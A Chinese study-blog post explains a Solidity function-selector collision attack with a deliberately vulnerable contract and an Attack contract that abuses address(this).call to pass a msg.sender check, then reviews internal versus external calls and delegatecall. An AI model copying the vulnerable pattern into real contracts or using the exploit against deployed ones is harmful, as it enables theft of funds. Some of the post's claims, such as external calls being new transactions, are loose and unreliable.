每日一学
今天学习了Solidity中的选择器碰撞攻击,并复习总结了一下合约的外部调用和内部调用
原理就是将4个字节的函数选择器暴力碰撞出来,调用函数。下面是案例代码,有被攻击的A合约,和Attack攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract A {
//攻击是否成功
bool public isSolved;
//修改目标状态变量,但是需要有权限
function setIsSolved(bytes memory _bytes)public returns(address){
require(msg.sender == address(this),"have no right");
isSolved = true;
return msg.sender;
}
//call调用内部函数的入口
function callFunc(bytes4 _method,bytes memory _bytes) external returns(address){
(bool success,bytes memory data) = address(this).call(
abi.encodeWithSelector(_method,_bytes)
);
return abi.decode(data,(address));
}
}
contract Attack{
//拿到目标函数的合约地址
address private target;
constructor(address _target){
target = _target;
}
function attack()public returns(address){
//拿到目标合约的实例
A a = A(target);
return a.callFunc(getSelector(),"0x");
}
//拿到函数选择器 (代替暴力算法破解拿到选择器) 0xfd9ae557
function getSelector()public pure returns(bytes4){
return bytes4(keccak256(abi.encodePacked("setIsSolved(bytes)")));
}
}
攻击流程就是:
1,攻击者写了一个攻击合约,拿到合约的地址生成了一个合约的实例。并暴力破解了函数选择器(这里并没有写暴力破解的算法,而是直接生成了这个函数选择器,偷个懒,因为重点不在这里,但是原理就这个),调用attack函数,假设黑客的地址是0x5B开头的。
2,黑客调用attck函数时,对于attack函数来说,msg.sender为0x5B。然后attack函数内部外部调用了callFunc()函数,外部调用会发起一笔新的交易。这时,这笔交易里面msg.sender就是Attack合约的地址。
3,然后在callFunc()函数内部,这里又用call函数调用了一个A合约的setIsSolved(),注意这里call函数属于外部调用,相当于又会发起了一笔交易。这时,由于A合约工程师错误的用了这个address(this).call,这笔新的交易里面的msg.sender就是A合约的地址。
4,在setIsSolved()这个函数内部,this为A合约的地址,msg.sender为A合约的地址。所以require直接通过,修改成功也意味着攻击成功。
注:
以上便是我对这次攻击的理解。如果有误,感谢指正。
//内部调用的案例 1,直接 2,父亲 3,库合约
contract A{
//返回当前的调用者
function f() public view returns(address){
return msg.sender;
}
//返回的是5B
function F_1() public view returns(address){
return f();
}
//返回的是合约A的地址(这是一个外部调用)
function F_2()public view returns(address){
return this.f();
}
}
contract C is A{
//返回的是5B,合约的继承相当于是把父合约的代码copy了一遍到直接的代码里面
function t() public view returns(address){
return f();
}
}
library D{
function k()public view returns(address){
return msg.sender;
}
}
contract E{
function t_call()public view returns(address){
return D.k();
}
}
//外部调用的案例 1,合约实例来调用 2,call,delegatecall调用
contract B{
//获得A合约的实例
A a;
//返回的是B合约的地址
function callf() public returns(address){
(,bytes memory data) = address(a).call(//call是地址类型的方法,必须转换为地址类型
abi.encodeWithSignature("f()")
);
return abi.decode(data, (address));
}
//返回的是5B的地址
function delegatecallf() public returns(address){
(,bytes memory data) = address(a).delegatecall(//call是地址类型的方法,必须转换为地址类型
abi.encodeWithSignature("f()")
);
return abi.decode(data, (address));
}
//返回的是B合约的地址
function thisf()public view returns(address){
return a.f();
}
constructor(A a_){
a = a_;
}
}
一笔交易就会在evm里面开辟一快新的区域,而外部调用就会发起一个新的交易,合约可以内部和外部调用自己的函数,构造函数外部调用的话因为会在函数初始化时函数为初始化而找不到,不能外部。合约也可以外部其他的合约函数,但是不能内部调用其他的合约函数。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!